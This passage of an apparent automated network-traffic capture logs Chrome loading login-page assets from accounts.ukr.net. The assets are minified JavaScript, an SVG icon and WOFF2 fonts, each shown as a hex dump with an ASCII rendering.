n,r;if(this._hasDocument){for(r in t=t\|\|{},e="raven"+e.substr(0,1).toUpperCase()+e.substr(1),B.createEvent?(n=B.createEvent("HTMLEvents")).initEvent(e,!
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 22 2b 72 2b 27 3d 22 27 2b 69 2b 27 22 5d 27 29 3b 72 65 74 75 72 6e 20 6f 2e 6a 6f 69 6e 28 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 72 65 74 75 72 6e 21 21 28 21 21 65 5e 21 21 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 76 28 65 2c 74 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 2c 72 2c 69 3d 65 2e 66 72 61 6d 65 73 2c 61 3d 74 2e 66 72 61 6d 65 73 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 69 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 29 72 65 74 75 72 6e 21 31 3b 69 66 28 69 2e 6c 65 6e 67 74 68 21 3d 3d 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 69 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 6e 3d 69 5b 6f 5d 2c 72 3d 61 5b 6f 5d 2c 6e 2e 66 69 6c 65 6e 61 6d 65 Data Ascii: "+r+'="'+i+'"]');return o.join("")}function v(e,t){return!!(!!e^!!t)}function m(e,t){if(v(e,t))return!1;var n,r,i=e.frames,a=t.frames;if(void 0===i\|\|void 0===a)return!1;if(i.length!==a.length)return!1;for(var o=0;o<i.length;o++)if(n=i[o],r=a[o],n.filename
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 66 28 6e 75 6c 6c 3d 3d 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 6e 75 6c 6c 21 3d 3d 6e 26 26 30 3d 3d 3d 6e 2e 74 79 70 65 29 72 65 74 75 72 6e 21 31 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 74 29 7b 63 61 73 65 22 66 75 6e 63 74 69 6f 6e 22 3a 63 61 73 65 22 73 79 6d 62 6f 6c 22 3a 72 65 74 75 72 6e 21 30 3b 63 61 73 65 22 62 6f 6f 6c 65 61 6e 22 3a 72 65 74 75 72 6e 21 72 26 26 28 6e 75 6c 6c 21 3d 3d 6e 3f 21 6e 2e 61 63 63 65 70 74 73 42 6f 6f 6c 65 61 6e 73 3a 22 64 61 74 61 2d 22 21 3d 3d 28 65 3d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 6c 69 63 65 28 30 2c 35 29 29 26 26 22 61 72 69 61 2d 22 21 3d 3d 65 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 21 31 7d 7d 28 65 2c 74 2c 6e 2c 72 29 29 72 65 74 Data Ascii: f(null==t\|\|function(e,t,n,r){if(null!==n&&0===n.type)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return!r&&(null!==n?!n.acceptsBooleans:"data-"!==(e=e.toLowerCase().slice(0,5))&&"aria-"!==e);default:return!1}}(e,t,n,r))ret
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 65 6e 74 4e 61 6d 65 2c 65 2e 65 76 65 6e 74 53 79 73 74 65 6d 46 6c 61 67 73 2c 74 5b 30 5d 2c 65 2e 6e 61 74 69 76 65 45 76 65 6e 74 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 28 74 3d 6e 69 28 6e 29 29 26 26 74 74 28 74 29 2c 65 2e 62 6c 6f 63 6b 65 64 4f 6e 3d 6e 2c 21 31 3b 74 2e 73 68 69 66 74 28 29 7d 72 65 74 75 72 6e 21 30 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 2c 74 2c 6e 29 7b 79 74 28 65 29 26 26 6e 2e 64 65 6c 65 74 65 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 62 74 28 29 7b 66 6f 72 28 69 74 3d 21 31 3b 30 3c 61 74 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 65 3d 61 74 5b 30 5d 3b 69 66 28 6e 75 6c 6c 21 3d 3d 65 2e 62 6c 6f 63 6b 65 64 4f 6e 29 7b 6e 75 6c 6c 21 3d 3d 28 65 3d 6e 69 28 65 2e 62 6c 6f Data Ascii: entName,e.eventSystemFlags,t[0],e.nativeEvent);if(null!==n)return null!==(t=ni(n))&&tt(t),e.blockedOn=n,!1;t.shift()}return!0}function gt(e,t,n){yt(e)&&n.delete(t)}function bt(){for(it=!1;0<at.length;){var e=at[0];if(null!==e.blockedOn){null!==(e=ni(e.blo
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 6f 2e 61 64 64 28 73 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 6a 74 2e 67 65 74 28 74 29 3b 73 77 69 74 63 68 28 76 6f 69 64 20 30 3d 3d 3d 69 3f 32 3a 69 29 7b 63 61 73 65 20 30 3a 69 3d 4a 74 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 69 3d 51 74 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 69 3d 47 74 7d 6e 3d 69 2e 62 69 6e 64 28 6e 75 6c 6c 2c 74 2c 6e 2c 65 29 2c 69 3d 76 6f 69 64 20 30 2c 21 55 65 7c 7c 22 74 6f 75 63 68 73 74 61 72 74 22 21 3d 3d 74 26 26 22 74 6f 75 63 68 6d 6f 76 65 22 21 3d 3d 74 26 26 22 77 68 65 65 6c 22 21 3d 3d 74 7c 7c 28 69 3d 21 30 29 2c 72 3f 76 6f 69 64 20 30 21 3d 3d 69 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6e 2c 7b 63 61 70 74 75 72 65 3a 21 Data Ascii: o.add(s))}function Ir(e,t,n,r){var i=jt.get(t);switch(void 0===i?2:i){case 0:i=Jt;break;case 1:i=Qt;break;default:i=Gt}n=i.bind(null,t,n,e),i=void 0,!Ue\|\|"touchstart"!==t&&"touchmove"!==t&&"wheel"!==t\|\|(i=!0),r?void 0!==i?e.addEventListener(t,n,{capture:!
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 6e 29 3a 72 3a 28 74 2e 66 6c 61 67 73 3d 32 2c 6e 29 3a 6e 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 72 65 74 75 72 6e 20 65 26 26 6e 75 6c 6c 3d 3d 3d 74 2e 61 6c 74 65 72 6e 61 74 65 26 26 28 74 2e 66 6c 61 67 73 3d 32 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 74 7c 7c 36 21 3d 3d 74 2e 74 61 67 3f 28 28 74 3d 51 75 28 6e 2c 65 2e 6d 6f 64 65 2c 72 29 29 2e 72 65 74 75 72 6e 3d 65 2c 74 29 3a 28 28 74 3d 69 28 74 2c 6e 29 29 2e 72 65 74 75 72 6e 3d 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 74 26 26 74 2e 65 6c 65 6d 65 6e 74 54 79 70 65 3d 3d 3d 6e 2e 74 79 70 65 3f 28 28 72 3d 69 28 74 2c 6e 2e 70 72 6f Data Ascii: n):r:(t.flags=2,n):n}function s(t){return e&&null===t.alternate&&(t.flags=2),t}function u(e,t,n,r){return null===t\|\|6!==t.tag?((t=Qu(n,e.mode,r)).return=e,t):((t=i(t,n)).return=e,t)}function c(e,t,n,r){return null!==t&&t.elementType===n.type?((r=i(t,n.pro
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 6b 75 28 74 2c 6e 29 3b 65 6c 73 65 20 6e 75 6c 6c 21 3d 3d 61 3f 28 72 3d 61 2e 62 61 73 65 4c 61 6e 65 73 7c 6e 2c 74 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3d 6e 75 6c 6c 29 3a 72 3d 6e 2c 6b 75 28 74 2c 72 29 3b 72 65 74 75 72 6e 20 44 6f 28 65 2c 74 2c 69 2c 6e 29 2c 74 2e 63 68 69 6c 64 7d 66 75 6e 63 74 69 6f 6e 20 42 6f 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 72 65 66 3b 28 6e 75 6c 6c 3d 3d 3d 65 26 26 6e 75 6c 6c 21 3d 3d 6e 7c 7c 6e 75 6c 6c 21 3d 3d 65 26 26 65 2e 72 65 66 21 3d 3d 6e 29 26 26 28 74 2e 66 6c 61 67 73 7c 3d 31 32 38 29 7d 66 75 6e 63 74 69 6f 6e 20 56 6f 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 76 61 72 20 61 3d 6d 69 28 6e 29 3f 68 69 3a 64 69 2e 63 75 72 72 65 6e 74 3b 72 65 74 75 72 6e 20 61 3d 76 69 28 74 2c 61 29 2c 69 61 Data Ascii: ku(t,n);else null!==a?(r=a.baseLanes\|n,t.memoizedState=null):r=n,ku(t,r);return Do(e,t,i,n),t.child}function Bo(e,t){var n=t.ref;(null===e&&null!==n\|\|null!==e&&e.ref!==n)&&(t.flags\|=128)}function Vo(e,t,n,r,i){var a=mi(n)?hi:di.current;return a=vi(t,a),ia
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 6c 73 28 30 2c 74 29 29 3b 76 61 72 20 65 3d 74 2e 73 74 61 63 6b 3b 74 68 69 73 2e 63 6f 6d 70 6f 6e 65 6e 74 44 69 64 43 61 74 63 68 28 74 2e 76 61 6c 75 65 2c 7b 63 6f 6d 70 6f 6e 65 6e 74 53 74 61 63 6b 3a 6e 75 6c 6c 21 3d 3d 65 3f 65 3a 22 22 7d 29 7d 29 2c 6e 7d 76 61 72 20 68 73 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 57 65 61 6b 53 65 74 3f 57 65 61 6b 53 65 74 3a 53 65 74 3b 66 75 6e 63 74 69 6f 6e 20 76 73 28 65 29 7b 76 61 72 20 74 3d 65 2e 72 65 66 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 29 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 29 74 72 79 7b 74 28 6e 75 6c 6c 29 7d 63 61 74 63 68 28 6e 29 7b 55 75 28 65 2c 6e 29 7d 65 6c 73 65 20 74 2e 63 75 72 72 65 6e 74 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f Data Ascii: ls(0,t));var e=t.stack;this.componentDidCatch(t.value,{componentStack:null!==e?e:""})}),n}var hs="function"==typeof WeakSet?WeakSet:Set;function vs(e){var t=e.ref;if(null!==t)if("function"==typeof t)try{t(null)}catch(n){Uu(e,n)}else t.current=null}functio
2024-10-26 11:48:57 UTC	16384	IN	Data Raw: 6c 74 65 72 6e 61 74 65 2c 4a 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 30 32 34 3a 4a 73 2e 66 6c 61 67 73 26 3d 2d 31 30 32 35 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 30 32 38 3a 4a 73 2e 66 6c 61 67 73 26 3d 2d 31 30 32 35 2c 43 73 28 4a 73 2e 61 6c 74 65 72 6e 61 74 65 2c 4a 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 43 73 28 4a 73 2e 61 6c 74 65 72 6e 61 74 65 2c 4a 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 38 3a 45 73 28 73 2c 75 3d 4a 73 29 3b 76 61 72 20 6b 3d 75 2e 61 6c 74 65 72 6e 61 74 65 3b 77 73 28 75 29 2c 6e 75 6c 6c 21 3d 3d 6b 26 26 77 73 28 6b 29 7d 4a 73 3d 4a 73 2e 6e 65 78 74 45 66 66 65 63 74 7d 7d 63 61 74 63 68 28 43 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 4a 73 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6f 28 33 33 30 29 29 3b 55 Data Ascii: lternate,Js);break;case 1024:Js.flags&=-1025;break;case 1028:Js.flags&=-1025,Cs(Js.alternate,Js);break;case 4:Cs(Js.alternate,Js);break;case 8:Es(s,u=Js);var k=u.alternate;ws(u),null!==k&&ws(k)}Js=Js.nextEffect}}catch(C){if(null===Js)throw Error(o(330));U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:56 UTC	647	OUT	GET /login/assets/file-20d110f0.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:57 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:57 GMT Content-Type: image/svg+xml Content-Length: 15596 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-3cec" Expires: Sat, 09 Nov 2024 11:48:57 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.37:5080
2024-10-26 11:48:57 UTC	15596	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 3c 64 65 66 73 3e 3c 70 61 74 68 20 69 64 3d 22 69 63 6f 6e 2d 6d 61 73 6b 2d 65 66 63 63 61 22 20 64 3d 22 4d 31 36 2e 35 20 30 61 2e 37 35 2e 37 35 20 30 20 30 31 2d 2e 30 37 38 2e 33 33 33 6c 2d 2e 31 30 34 2e 31 39 38 2d 2e 31 34 34 2e 32 35 35 2d 2e 31 38 35 2e 33 30 37 2d 2e 31 30 38 2e 31 37 61 31 34 20 31 34 20 30 20 30 31 2d 31 2e 35 34 32 20 31 2e 39 39 38 43 31 32 2e 36 31 32 20 35 2e 31 31 38 20 31 30 2e 35 37 38 20 36 2e 32 35 20 38 2e 32 35 20 36 2e 32 35 53 33 2e 38 38 38 20 35 2e 31 31 38 20 32 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><path id="icon-mask-efcca" d="M16.5 0a.75.75 0 01-.078.333l-.104.198-.144.255-.185.307-.108.17a14 14 0 01-1.542 1.998C12.612 5.118 10.578 6.25 8.25 6.25S3.888 5.118 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49724	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:59 UTC	621	OUT	GET /login/assets/inter-medium-latin-beJWZ28Q.woff2 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.ukr.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:59 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:59 GMT Content-Type: font/woff2 Content-Length: 24228 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-5ea4" Expires: Sat, 09 Nov 2024 11:48:59 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.37:5080
2024-10-26 11:48:59 UTC	16050	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 5e a4 00 0d 00 00 00 01 03 50 00 00 5e 4b 00 03 04 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 7c 1b 81 91 0e 1c e2 50 06 60 00 85 50 0a 81 ed 00 81 be 0b 01 36 02 24 03 90 4c 0b 88 28 00 04 20 05 82 58 07 20 1b d2 e6 27 70 73 07 d1 ac e5 b6 01 c1 f7 95 f9 35 73 af 61 e3 8a b7 dd 8e 1e 8b b8 f6 9d 8d 8a 5a a4 48 29 d9 ff ff 9f 93 20 65 0c 4b ea bc 16 d0 29 6c ee 5f 44 64 5a 61 d9 7a b5 ae ae de bb 46 b3 46 00 50 1a 1c d5 86 ce 7e a8 2a 3d df ba 36 74 35 a5 dd a5 52 59 cd 10 42 08 61 eb ec 36 d1 5d a9 32 94 ba 57 36 16 ea a2 32 2d af eb 68 de d0 29 2c 07 4a 1b 2a 51 6b 65 0b 56 a5 15 9f b2 f3 f0 a1 9a 3e ab 22 44 84 5a 94 99 f1 61 a7 c0 10 0e e0 00 d1 99 19 01 04 9d 74 f4 25 bb ee 5a f6 84 b3 eb f7 b7 f1 Data Ascii: wOF2^P^K\|P`P6$L( X 'ps5saZH) eK)l_DdZazFFP~=6t5RYBa6]2W62-h),JQkeV>"DZat%Z
2024-10-26 11:48:59 UTC	8178	IN	Data Raw: 27 11 a8 d1 4f b7 71 81 5c 4e 83 df f7 63 a2 ad ff 84 cd 57 79 a3 7b ab f1 af 7f 27 02 9a af 87 43 e4 54 b7 09 36 37 5e 81 ce b1 96 5b 04 37 b3 7d dd c7 02 21 20 79 b4 87 5c 01 43 58 af d9 4b 97 ba 3d 3a 2a 0a 3b 82 26 72 03 ea 16 33 17 de 8e 38 3b 73 d6 ce 38 da 67 1a cb 33 78 9b 4d 83 b3 c5 eb dd 86 29 f5 8d 1b f1 5f 56 a3 be 9f f7 5d 07 59 68 56 bf 41 bf 76 bf b0 b6 ed 63 7b 93 93 6d d3 8a 73 43 cf 87 8f f2 0c 09 88 1f 7d c2 7e 8c 43 b4 1c fb 8a a8 2a da 06 18 35 8a d7 27 ef 26 8c fd 56 f5 3b 98 9d 31 f6 b2 f4 d7 48 c6 74 37 41 37 26 4a 95 f5 17 32 a1 6a 2d 49 6e b8 4a c9 fe 32 51 8d ee bf 5c ef 9c 78 9b 70 63 bd e4 a3 09 e2 65 e9 a6 f1 47 b2 8d 6d 32 52 23 5d 6b fb f5 75 6b ef da bb d7 de d4 d5 af ed 02 ab 36 7c 92 78 e9 0a 6c 22 ed 32 24 b7 51 6e 84 Data Ascii: 'Oq\NcWy{'CT67^[7}! y\CXK=:;&r38;s8g3xM)_V]YhVAvc{msC}~C5'&V;1Ht7A7&J2j-InJ2Q\xpceGm2R#]kuk6\|xl"2$Qn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:59 UTC	622	OUT	GET /login/assets/inter-bold-cyrillic-cOEmsfFa.woff2 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.ukr.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:59 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:59 GMT Content-Type: font/woff2 Content-Length: 6428 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-191c" Expires: Sat, 09 Nov 2024 11:48:59 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:48:59 UTC	6428	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 19 1c 00 0d 00 00 00 00 37 20 00 00 18 c5 00 03 04 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 81 50 1b 93 52 1c 82 74 06 60 00 82 1c 0a c6 54 b6 1a 01 36 02 24 03 84 48 0b 82 26 00 04 20 05 82 50 07 20 1b dd 2c b3 a2 5e b4 5a 1d 42 f1 5f 26 70 63 08 fc 0d 33 91 30 42 6b b5 aa 9a a9 c0 d0 15 35 1c 01 11 02 9a 34 97 63 2f 8c f6 33 de da 62 4f c3 fa d6 f8 67 8e 79 44 88 75 c2 08 49 66 79 f8 9c 7b be 93 b4 4d d2 f6 03 b0 5a a0 f1 cb 16 18 c7 33 09 43 8a 40 01 b9 d5 e4 80 25 c3 bb 3e c0 cf ad f7 c7 f6 19 0c 7a d0 c2 68 6d ca 38 2c ba 8e 96 1e dd 92 16 b4 48 1d 18 64 6d d0 46 13 46 82 95 88 85 1c 56 e7 bf bf cb e6 98 25 ad 4b 3a 56 0a d8 e8 a4 1d d1 f9 29 8c 30 76 c4 ff 60 2d 5c 00 67 69 67 6b fe aa 3f ce f9 Data Ascii: wOF27 PRt`T6$H& P ,^ZB_&pc30Bk54c/3bOgyDuIfy{MZ3C@%>zhm8,HdmFFV%K:V)0v`-\gigk?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49727	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:59 UTC	622	OUT	GET /login/assets/inter-regular-latin-4X1OBjWa.woff2 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.ukr.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:59 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:59 GMT Content-Type: font/woff2 Content-Length: 23040 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-5a00" Expires: Sat, 09 Nov 2024 11:48:59 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.37:5080
2024-10-26 11:48:59 UTC	16050	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 5a 00 00 0d 00 00 00 01 00 20 00 00 59 a8 00 03 04 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 7c 1b 81 8b 4e 1c e2 50 06 60 00 85 50 0a 81 ec 00 81 bf 26 01 36 02 24 03 90 4c 0b 88 28 00 04 20 05 82 68 07 20 1b bd e4 37 c4 6d bb 09 a4 e5 b6 01 4f dc 46 4b 25 f3 2b 61 9e f5 1d dc ad 82 86 c4 25 71 76 20 86 8d 83 00 0f 7d 6e f6 ff ff 9f 92 74 8c e1 c0 1a 03 33 33 ff bf 81 44 18 2a 0b 42 87 20 e8 62 47 e6 e5 92 89 24 42 03 23 03 f7 e5 cc c0 e3 2e f4 09 5a 31 40 19 bd 2e e9 92 2e d9 da e7 83 db 84 3a 1e 5c 1d 77 1e 70 79 49 77 8f 68 ec e8 4e 87 70 bf f9 b1 e3 74 5b af b3 43 32 b1 aa ea 9e 56 d0 6b 4b f2 08 d2 fd ba e4 21 cf 69 47 5f 27 ff 2d 43 b3 37 ae 1d 66 37 bc cd 15 87 7d 6b 3a 0f 27 2d 91 58 bf 5e 69 Data Ascii: wOF2Z Y\|NP`P&6$L( h 7mOFK%+a%qv }nt33D*B bG$B#.Z1@..:\wpyIwhNpt[C2VkK!iG_'-C7f7}k:'-X^i
2024-10-26 11:48:59 UTC	6990	IN	Data Raw: 97 2e 1e fc 99 48 d1 aa 1d 31 97 13 56 c8 d4 6b 79 6f 29 ee 11 fd 79 51 67 d9 55 0e 5e b4 a8 a8 52 fe 06 66 15 fe ac ee e9 59 4d c7 a4 ba fa 91 90 ae 08 a6 5f 70 9e 87 84 82 e0 e0 aa 1d 3c f7 cd 52 55 79 2d 21 36 49 94 d4 ab 22 0e a2 57 37 fa 7d f8 f2 85 20 10 3c e2 0c 2a e7 17 76 2b 14 2c af 63 1d a8 80 ab 88 04 48 2a 49 04 a6 42 81 80 24 25 89 5c 6f ae 2e 85 5d 48 6c 99 16 55 1f 93 3a e5 c0 f4 56 fd d6 97 0a 68 0b 2e 23 af 65 be 65 0d 73 2d d0 da 7e ab a8 23 a3 b1 8b 95 14 d1 de a6 bf b1 83 fd 53 20 89 d5 99 c1 ed 00 25 24 b6 e2 9e b9 9d 8e ae 8c c6 3f 0c 5e 96 ba f8 9c e2 c0 ec 2d 7b b6 ed cc 5c db dc ab 7b b8 90 7e bf 78 fd 0e 9f a5 81 f2 3a db 96 5d 19 21 aa 1e 6a 06 9e 43 b9 ad 8a 97 15 3f f6 26 ec bb c1 cf 45 7f 69 be a0 79 41 43 e2 8f 3e a9 46 92 Data Ascii: .H1Vkyo)yQgU^RfYM_p<RUy-!6I"W7} <v+,cHIB$%\o.]HlU:Vh.#ees-~#S %$?^-{\{~x:]!jC?&EiyAC>F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:59 UTC	627	OUT	GET /login/assets/inter-semi-bold-cyrillic-TYsCInMJ.woff2 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.ukr.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:59 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:59 GMT Content-Type: font/woff2 Content-Length: 6572 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-19ac" Expires: Sat, 09 Nov 2024 11:48:59 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.37:5080
2024-10-26 11:48:59 UTC	6572	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 19 ac 00 0d 00 00 00 00 37 1c 00 00 19 55 00 03 04 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 81 50 1b 93 52 1c 82 74 06 60 00 82 1c 0a c6 38 b5 78 01 36 02 24 03 84 48 0b 82 26 00 04 20 05 82 66 07 20 1b d1 2c 23 11 c2 c6 01 00 4a 7c 13 92 bf 3a e0 0d e3 1f 35 98 50 24 74 b7 c5 04 83 54 a2 28 ba 8a 70 76 31 4d a6 d3 4a 5f ce 11 0b 8e 59 dd 9b ed f7 62 e1 03 bc 14 19 21 c9 2c 81 b2 dc b5 ff 9b 3d e3 71 8a a0 05 41 5b e2 51 6a fc d4 9f d5 7b 55 f5 59 af 7e d4 60 26 23 ba a5 74 5a 4c 63 92 d4 22 e9 71 63 a9 9b 74 d3 49 38 07 bb 1e 1c 2e 0b 1f a0 b9 fd 1b b0 db ad 64 84 64 d9 fd a5 4a a5 f7 25 46 8d e8 e1 46 0e 25 da 28 22 6d d2 a0 d2 2a 66 f4 c0 46 04 1b cc 18 0f f4 87 7b ad 29 d4 25 3c cf 17 50 f7 b1 2c Data Ascii: wOF27UPRt`8x6$H& f 